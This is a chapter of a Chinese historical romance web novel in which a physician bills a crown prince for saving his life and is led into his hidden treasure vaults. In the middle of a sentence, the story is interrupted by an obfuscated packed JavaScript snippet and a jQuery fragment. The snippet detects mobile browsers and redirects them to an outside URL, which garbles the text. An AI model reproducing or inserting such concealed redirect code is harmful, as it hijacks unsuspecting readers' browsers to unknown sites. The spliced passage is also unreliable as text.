孟娆脚步顿在原地,这人怎么回事,都说了毒性刚拔除需要静养,他不在东宫好好躺着,跑到这城外吹冷风拦路,是嫌命太长了?
她累了一夜,又刚送走苏筱,心情正低落,没精力再跟他周旋。
孟娆扯了扯嘴角,露出一个假得不能再假的笑:“殿下安好,看殿下气色,已无大碍,民女便放心了,民女还要回去照顾侄子,不便久留,先行告退。”
说完,她侧身就要从马车旁边绕过去。
顾鹤白看着她那副避之不及的样子,眸色一沉。
“站住。”
孟娆深吸一口气,压下心头烦躁,转身,尽量让自己的语气听起来平静。
“殿下还有何吩咐?”
顾鹤白盯着她,目光沉沉,像是想从她脸上看出点什么。
可她脸上的笑没有一丝错处,标准的一丝不苟。
他原本是想问她身体如何,昨夜那般凶险,她耗费心神乃精血,脸色苍白成那样,可还撑得住,需不需要太医看看。
但话到嘴边,看着她那副戒备的模样,又硬生生咽了回去。
他顾鹤白何时需要如此小心翼翼地去关心一个人,更何况,看这情形,他便是问了,这人还未必领情。
他抿了抿唇,正想换个说辞,谁知孟娆却先开口了。
“殿下若无事,我倒有一事要说,昨夜我为殿下解毒,损耗颇巨……”
孟娆顿了顿,歪头一笑。
“这诊金,殿下打算如何结算?”
既然顾鹤白要同她算,那干脆算个清楚明白。
太子殿下的性命,想来值钱得很,捞个好处,回去给念儿买好吃的去。
“我虽是医者,但并非开善堂的,此番劳心劳力,殿下身份尊贵,想必不会赖账吧?”
顾鹤白被她这番话噎得一怔,随即气笑了。
救了他一命,转头就跟他明码标价算账,她倒是算账算的明白。
顾鹤白胸口那股滞闷之气又涌了上来,带着伤后未愈的隐痛。
他嗤笑一声:“诊金?孤的命,在你眼里,就值几个铜板?”
“殿下此言差矣。”孟娆面不改色,逻辑清晰得让人咬牙,“殿下的命自然金贵,天下无价,所以这诊金,也需得匹配殿下的身份才是,民女不敢漫天要价,但也不能白白损耗,毕竟家里还有个侄子要养,消耗大得很。”
她一口一个民女,一口一个殿下,把距离拉得清清楚楚。
顾鹤白盯着她看了半晌,忽然觉得跟这女人置气纯属自找没趣。
她既然想要银钱两讫,那就如她所愿!
“好,你要诊金,孤给你。”他放下车帘,声音从车内传来,听不出情绪,“上车,带你去个地方。”
孟娆犹豫了一下,指尖在袖中微微蜷起。
反正不要白不要,这笔诊金,是她应得的。
她也算他的救命恩人,总不会对自己动手。
心一横,孟娆抬脚上了马车。
车厢内空间宽敞,铺着厚厚的绒毯,燃着淡淡的安神香。
顾鹤白靠坐在软垫上,闭目养神,唇色浅淡,周身那股与生俱来的迫人气势,因这沉默更添几分莫测。
马车缓缓启动,车内一片沉寂,只有车轮碾过路面的辘辘声。
约莫一炷香的功夫,马车停了下来。
顾鹤白睁开眼,率先下了马车,孟娆跟在他身后。
他并未多言,径直穿过几重院落,来到一处把守尤为严密的地下入口。
厚重的石门缓缓开启,露出向下的阶梯。
“跟上。”顾鹤白丢下两个字,便迈步向下走去,玄色衣摆消失在阶梯转角。
孟娆心跳不由自主地加快了些,但此刻退缩已不可能,她定了定神,跟了上去。
阶梯尽头,是一间宽阔的石室。
当墙壁上的火把被逐一亮起时,孟娆的呼吸不由得一滞。
饶是她见识过不少珍奇,此刻也被眼前的景象晃了一下眼。
石室四壁是嵌入墙体的**架,上面陈列着各式各样的奇珍异宝。
鸽卵大小的夜明珠散发着温润的光泽,成套的羊脂玉器莹白无瑕,未经雕琢的天然宝石色彩斑斓,更有许多她叫不出名字的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018524|189324||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
海外奇珍,在火光下流光溢彩。
孟娆暗自咋舌,就在她以为这已经是全部时,顾鹤白走到了石室一角,在一块看似寻常的石砖上按了几下。
咔哒——咔——
低沉的机括运作声响起,在孟娆惊讶的目光中,地面竟然缓缓滑开,露出一个向下的洞口,有石阶延伸至更深处。
“下来。”顾鹤白的声音从洞口传来,带着空旷的回音。
孟娆的心跳得更快了,密室之下,竟然还有密室!
他到底藏了多少东西,带她来这里,难道是想用这些财宝抵诊金?
不对,这种隐私之地,她个外人,如何能被亲自带来。
顾鹤白不会真是要灭口……
眼中闪过几分警惕,孟娆捏紧了手,却还是跟他走了下去。
他若真要动手,哪儿要这么大费周章的。
他既然敢给自己看,自己看着便是。
下面的空间比上面石室小一些,但里面的东西,却让孟娆真正体会到了什么叫富可敌国。
这里没有那么多花哨的摆设,只有一口口敞开的大箱子。
箱子里,是码放得整整齐齐,在火光下闪烁着诱人光芒的金锭,旁边还有几个箱子,里面是各种罕见的药材,年份久远,药香扑鼻。
更有几排兵器架,上面陈列的刀剑寒光凛冽,一看便知不是凡品。
孟娆感觉自己眼睛都快被闪瞎了,心里除了震惊,只剩下一个念头。
顾鹤白这厮,到底暗中经营了多少势力,攒下了多少家底?
难怪有人想弄死他,这要是被他的对头知道了,怕不是要寝食难安。
她开始认真盘算,自己该要多少诊金才算合适,又不至于太惹眼时,目光无意中扫过密室一个角落,被一样东西吸引了过去。
那是一张通体莹白,质地温润细腻,几乎呈半透明状的玉床。
它静静地摆在那里,古朴大气,与周围的金银财宝格格不入,却牢牢抓住了她的视线。
孟娆不自觉地向前走了两步,一段几乎被遗忘的记忆碎片,毫无预兆地撞入脑海。